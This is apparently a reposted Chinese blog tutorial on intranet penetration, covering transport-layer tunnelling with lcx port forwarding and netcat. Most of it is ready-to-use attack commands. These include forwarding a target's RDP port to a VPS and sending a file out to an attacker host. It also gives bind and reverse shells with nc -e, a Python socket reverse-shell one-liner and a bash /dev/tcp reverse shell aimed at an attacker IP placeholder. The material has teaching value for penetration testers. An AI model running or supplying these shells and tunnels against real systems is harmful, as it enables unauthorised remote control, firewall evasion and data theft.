【内网渗透】——隐藏通信隧道技术之传输层隧道技术

  • A+
所属分类:安全文章

文章目录

  • 传输层隧道技术

    • 1. lcx端口转发

      • 1.1 内网端口转发

      • 1.2本地端口映射

    • 2. netcat(nc)

      • 2.1 安装

      • 2.2 简单使用

      • 3.获取shell

      • 在目标主机中没有nc时获取反向shell


传输层隧道技术


传输层包括TCP隧道,UDP隧道和常规端口转发,内网防火墙阻止了对指定端口的访问,获取目标机器的权限后可以使用IPTABLES打开指定端口。



1. lcx端口转发

经典端口转发工具:lcx

windows版为lcx.exe  ,  linux版为portmap

正常的socket隧道必须具备两端:

一端为服务端,监听一个端口,等待客户端的连接

一端为客户端,通过传入服务器的IP地址和端口,才能主动与服务器连接


1.1 内网端口转发


在目标机器上执行如下命令将目标机器3389端口的所有数据转发到公网VPS的4444端口上
lcx.exe -slave <公网主机ip> 4444 127.0.0.1 3389
在VPS上执行如下命令,将本机4444端口上监听的所有数据转发到本机的5555端口上。
lcx.exe -listen 4444 5555
用mstsc登陆  “<公网主机IP地址>:5555”,或者在VPS上用mstsc登陆主机127.0.0.1的5555端口,即可访问目标服务器的3389端口。



1.2本地端口映射


如果目标服务器由于防火墙的配置,部分端口(列如:3389)的数据无法通过防火墙可以将目标服务器相应端口的数据的数据传到防火墙允许的其他端口(列如:53)。在目标主机上执行如下命令,可以直接从远程桌面连接目标主机的53端口。
lxc -tran 53 <目标主机IP地址>



2. netcat(nc)

2.1 安装

(1)在kali中可以使用 nc -help或者 man nc 命令查看是否已经安装了nc
执行如下命令安装


sudo yum insatll nc.x86_64


(2)在windows中需要使用windows版本的nc
下载连接:
链接:
https://pan.baidu.com/s/1SfN7Qm81fp3D9OkFRMArPg
提取码:3ds1


2.2 简单使用

(1)命令查询
nc的功能很多,可以输入
nc -h 命令进行查询

【内网渗透】——隐藏通信隧道技术之传输层隧道技术


-g<网关> 设置路由器跃程通信网关,最多可设置8个。-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。-h 在线帮助。-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。-l 使用监听模式,管控传入的资料。-n 直接使用IP地址,而不通过域名服务器。-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。-p<通信端口> 设置本地主机使用的通信端口。-r 乱数指定本地与远端主机的通信端口。-s<来源地址> 设置本地主机送出数据包的IP地址。-u 使用UDP传输协议。-v 显示指令执行过程。-w<超时秒数> 设置等待连线的时间。-z 使用0输入/输出模式,只在扫描通信端口时使用



(2)Banner抓取
banner抓取是一种在开放端口上检索关于特定服务信息的技术,在渗透过程中用于漏洞的评估

执行下列命令,从抓取的Banner信息中可以得知,目前目标主机的135端口上运行了epmap服务,版本号为2.3.4


nc -nv 192.168.227.133 135


【内网渗透】——隐藏通信隧道技术之传输层隧道技术

windows下查看端口占用、杀死进程


(3)远程连接主机


nc -nvv 远程主机地址 端口


(4)端口扫描
扫描指定主机端口


nc -v ip地址 端口


【内网渗透】——隐藏通信隧道技术之传输层隧道技术

(5)端口监听
监听本地端口,当访问该端口时会输出该信息到命令行


nc -l -p 9999


【内网渗透】——隐藏通信隧道技术之传输层隧道技术

【内网渗透】——隐藏通信隧道技术之传输层隧道技术


(6)文件传输
在本地VPS主机中传输 输入如下命令开始本地监听,,等待连接


 nc -lp 333 >1.txt


【内网渗透】——隐藏通信隧道技术之传输层隧道技术

在木目标主机输入如下命令与vps的333端口建立连接,并传输一个名为1.txt的文本文件。


nc -vn 192.168.227.137 333 < 1.txt -q 1


【内网渗透】——隐藏通信隧道技术之传输层隧道技术

传输完成 在VPS中打开2.txt文件可以看到数据已经传送过来了。

【内网渗透】——隐藏通信隧道技术之传输层隧道技术


(7)简易聊天
在本地VPS主机中输入如下命令 ,开始监听


nc -l -p 888


【内网渗透】——隐藏通信隧道技术之传输层隧道技术

在目标主机中输入如下命令,就可以开始聊天。


nc -vn 192.168.227.137 888


【内网渗透】——隐藏通信隧道技术之传输层隧道技术

【内网渗透】——隐藏通信隧道技术之传输层隧道技术


3.获取shell
shell分为两种 一种是正向shell,另一种是反向shell
正向shell:客户端连接服务器,客户端想要获取服务器的shell
反向shell:客户端连接服务器,服务器想要获取客户端的shell
反向shell通常用在开启了防护措施的目标主机上,列如防火墙过滤,端口转发,

(1)正向shell
输入如下命令监听目标主机上的4444端口


nc -lvp 4444 -e /bin/bash                  // linuxnc -lvp 4444 -e c:windowssystem32cmd.exe      // windows


【内网渗透】——隐藏通信隧道技术之传输层隧道技术

输入如下命令,在本地或者VPS主机上连接主机的4444端口,查看当前的IP地址,已经是 192.168.227.137了。


nc 192.168.227.137 4444


【内网渗透】——隐藏通信隧道技术之传输层隧道技术



(2)反向shell
输入如下命令,在本地或者VPS主机上监听本地9999端口。


nc -lvp 9999


在目标主机上输入如下命令,连接VPS主机192.168.227.137的9999端口。


nc 192。168.227.137 9999 -e /bin/sh              //linuxnc 192.168.227.137 -e c:windowssystem32cmd.exe      //windows


就可以在本地或者VPS主机上看到连接了。


在目标主机中没有nc时获取反向shell

一般,目标主机时没有nc,可以使用其他的工具和编程语言来代替nc,实现反向连接。


(1)python反向shell
执行如下命令,在VPS上监听本地端口2222端口。


nc -lvp 2222


在目标主机上执行反弹命令。


python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'


xxxx:代表攻击者IP 2222:端口
【内网渗透】——隐藏通信隧道技术之传输层隧道技术
查看当前IP已经是192.168.227.131,说明已经建立

【内网渗透】——隐藏通信隧道技术之传输层隧道技术


(2)bash反弹
执行如下命令,在VPS上监听4444端口


nc -lvp 4444


【内网渗透】——隐藏通信隧道技术之传输层隧道技术

在目标主机上执行反弹命令


bash -i >& /dev/tcp/x.x.x.x/port 0>&1


【内网渗透】——隐藏通信隧道技术之传输层隧道技术

【内网渗透】——隐藏通信隧道技术之传输层隧道技术



版权声明:本文为CSDN博主「Kris Alex」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。原文链接:https://blog.csdn.net/Kris__zhang/article/details/106821765


没有专业运营团队,纯个人凭着空闲时间的学习,通过网络搜集与学习整理的资料记录并分享。


 如果觉得文章对你有帮助,请支持下点击右下角“在看”


【内网渗透】——隐藏通信隧道技术之传输层隧道技术


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: